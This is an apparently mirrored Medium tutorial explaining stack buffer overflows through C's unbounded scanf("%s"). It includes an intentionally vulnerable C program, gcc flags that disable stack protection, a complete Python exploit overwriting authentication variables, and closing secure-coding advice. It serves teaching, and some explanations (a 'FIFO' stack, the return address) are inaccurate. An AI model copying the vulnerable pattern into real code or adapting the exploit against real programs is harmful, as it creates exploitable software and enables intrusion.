← Back to list

Why scanf() function is just like your Ex?!

Hey, ever your ex betrayed you? :)

Hritom Bhattacharya · 2025-11-17 08:51 · 1 claps · 6.1 min read
#buffer-overflow #scanf #function #binary-exploitation #vulnerability
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Why scanf() function is just like your Ex?!

[embed]

Hey, ever your ex betrayed you? :)

Here is the scanf() function in C who betrayed your code’s security with a Classic Buffer Overflow vulnerability.

Index:

  1. What is Buffer?
  2. How buffer works?
  3. What is Buffer Overflow?
  4. Why scanf() is vulnerable?
  5. Secure coding practice
  1. What is Buffer?

Buffers are temporary memory regions located in the main memory (RAM) and are used to hold data while it is being transferred between devices, applications, or processes. The operating system allocates buffer space in RAM to ensure efficient data transfer, smooth input/output operations, or to accommodate speed differences between communicating devices.

Memory map

Memory map

In a easy word let’s suppose you wrote a program and there’s some functionality that takes input and process it then that function use buffer to keep those inputs.

Basically, in stack we keep data which is we need for execution and that particular region is buffer….. and and and …. by the way stack is always have a fixed size.

  1. How buffer works?

[embed]

Buffer generally follow that FIFO procedure to work rbp register defines the base pointer which is the higher value pointer register and rsp register is the stack pointer which is the lower value pointer register in 64 architecture.

SO, in buffer data stores in Lower address to Higher address.

***rbp:*** Base Pointer (or Frame Pointer). This register points to the base of the current stack frame, providing a stable reference point for accessing local variables and function arguments within that frame.

***rsp: ***Stack Pointer. This register always points to the top of the current stack, which is the most recently pushed item or the next available location for a push operation. It dynamically changes as data is pushed onto or popped from the stack.

  1. What is Buffer Overflow?

[embed]

Let’s suppose you put water in a glass then after a while there will be moment come when the water will overflow. Exactly, same thing will happen in this scenario If we fill excess amount of random character in the buffer this will overflow and rewrite the Return address.

Now, What is a Return Address right?

In stack for a particular code execution there is a frame called return address which stores the initial location of rbp register just before the execution starts…. see every program gets particular amount of stack and every function have different stack frames so base pointer(rbp) should know that which was previous location right?

  1. Why scanf() is vulnerable?

[embed]

The scanf() function in C is vulnerable because, by default, it does not limit the amount of user input written into a buffer. If an attacker provides more input than the allocated size of the destination variable (e.g., a character array), scanf() will continue to write beyond the buffer’s boundary, causing a buffer overflow. This can corrupt memory, crash the program, or even allow the execution of malicious code.

Let’s understand this with an example…..

In this case we will compile this vulnerable code with Disables stack protector, allowing injected shellcode on the stack to run, Compiles the code for a 32-bit target instead of the default 64-bit

So, the command is …

gcc -o vuln vuln.c -fno-stack-protector -z execstack -m32
#include <stdio.h>
#include <string.h>

int main() {
    char buffer[32];
    unsigned int auth = 0;
    unsigned int admin = 0;

    printf("Enter your username: ");
    scanf("%s", buffer);  

    if (auth == 3735928559 && admin == 3405691582) {
        printf("\n=== ACCESS GRANTED ===\n");
        printf("Welcome, administrator! black king\n");
        printf("You have successfully exploited the buffer overflow!\n");
        return 1;
    } else {
        printf("Access denied. auth=0x%x, admin=0x%x\n", auth, admin);
        return 0;
    }
}

So, this is a vulnerable code in C observe that there’s a scanf() function which is taking input as string in %s format specifier but it does not limiting the input characters.

Okay lemme explain the code for you….

#include <stdio.h>
#include <string.h>

int main() {
    char buffer[32];
    unsigned int auth = 0;
    unsigned int admin = 0;
  1. In this portion in the main function buffer is a character variable with 32 character space.
printf("Enter your username: ");
    scanf("%s", buffer);
  1. This is the most important part printf() function is printing the string but here scanf() function is taking input but %s format specifier is not limiting the number of input
if (auth == 3735928559 && admin == 3405691582) {
        printf("\n=== ACCESS GRANTED ===\n");
        printf("Welcome, administrator! black king\n");
        printf("You have successfully exploited the buffer overflow!\n");
        return 1;
    } else {
        printf("Access denied. auth=0x%x, admin=0x%x\n", auth, admin);
        return 0;
    }
}
  1. And in this code block just conditional statement you can see in any normal execution scenario we will get Access Denied message…. there’s no way that in which we’ll get a successful message

So, let’s see how can we smash the stack……….

[embed]

So, What is our stratagy right?

See we defined 32 in buffer array so in buffer we have to put 32 byte garbage values after that we can re write the value of admin_value and auth_value but we have to re write admin_value and auth_value in little-endian format.

I wrote a python program for that……….

#!/usr/bin/env python3
import subprocess
import struct
import sys
import os
def main():
    print("=== SCANF BUFFER OVERFLOW EXPLOIT (PYTHON) ===\n")
    binary_name = "./vuln"
    if not os.path.exists(binary_name):
        print(f"[!] Error: {binary_name} binary not found!")
        return
    print("[+] Constructing buffer overflow payload...")
    padding = b"A" * 32
    auth_value = struct.pack("<I", 3735928559)    
    admin_value = struct.pack("<I", 3405691582)   
    payload = padding + admin_value + auth_value  
    try:
        process = subprocess.Popen(
            [binary_name],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=False
        )
        stdout, stderr = process.communicate(input=payload, timeout=10)
        exit_code = process.returncode
        print("=== VULNERABLE PROGRAM OUTPUT ===")
        if stdout:
            output = stdout.decode('utf-8', errors='ignore')
            print(output)
            if "ACCESS GRANTED" in output or exit_code == 1:
                print("\n*** 🎉 EXPLOIT SUCCESSFUL! 🎉 ***")
                print("Buffer overflow successfully bypassed authentication!")
            else:
                print(f"\n[!] Exploit failed. Exit code: {exit_code}")
        else:
            print("(No output)")
    except Exception as e:
        print(f"[!] Error: {e}")
if __name__ == "__main__":
    main()

Lemme help you to understand this………………

import subprocess
import struct
import sys
import os
def main():
    print("=== SCANF BUFFER OVERFLOW EXPLOIT (PYTHON) ===\n")

It’s just imports and defining the main function and header…

binary_name = "./vuln"
if not os.path.exists(binary_name):
    print(f"[!] Error: {binary_name} binary not found!")
    return

Checks if the vulnerable binary exists at ./vuln before attempting to exploit it. If it doesn't exist, the script exits with an error message.

print("[+] Constructing buffer overflow payload...")
padding = b"A" * 32
auth_value = struct.pack("<I", 3735928559)    
admin_value = struct.pack("<I", 3405691582)

Here’s the critical part of the exploit:

  • padding = b"A" * 32: Fills the 32-byte buffer declared as char buffer[32] with the character 'A' (ASCII 0x41). This overflows the buffer boundary.
  • struct.pack("<I", 3735928559): Converts the integer 3735928559 into 4 bytes in little-endian format (<I means unsigned int, little-endian). This is typically the value overwriting an authentication flag variable.
  • struct.pack("<I", 3405691582): Similarly packs another integer value to overwrite a second variable (likely the "admin" flag), also 4 bytes.

The numeric values are intentionally chosen to set these variables to non-zero values, which tricks the program into thinking authentication succeeded.

payload = padding + admin_value + auth_value

Combines the padding and two packed values into a single payload that will be sent to the vulnerable program.

try:
    process = subprocess.Popen(
        [binary_name],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=False
    )

Spawns the vulnerable binary as a subprocess with pipes connected to its stdin, stdout, and stderr. text=False means we're working with binary data (bytes), not text strings.

    stdout, stderr = process.communicate(input=payload, timeout=10)
    exit_code = process.returncode

communicate() sends the payload through stdin to the vulnerable program and captures its stdout and stderr output within a 10-second timeout. The exit code tells us how the program terminated.

Easy huh? And if you find it difficult read it again……. and still have doubt just reach me out…

Okay now let’s look for the output…….

Our payload just worked fine seeee…………

So, that’s how scanf() function betrayed us….. :)

  1. Secure coding practice

You can use scanf() function ofcourse but use %20s or use any number between “%” and “s” it defines how many character is will it take input or you can use fgets() function in which number of input character is defining is compulsory.

If I miss anything or if you wanna suggest me something or any doubt , please feel free to reach me out

[embed]


메타데이터
post_id
5ceb468585cb
slug
why-scanf-function-is-just-like-your-ex-5ceb468585cb
url
https://medium.com/@hritombhattacharya029/why-scanf-function-is-just-like-your-ex-5ceb468585cb
canonical_url
https://medium.com/@hritombhattacharya029/why-scanf-function-is-just-like-your-ex-5ceb468585cb
author_url
https://medium.com/@hritombhattacharya029
status
ok
fetched_at
2026-07-15 07:41:13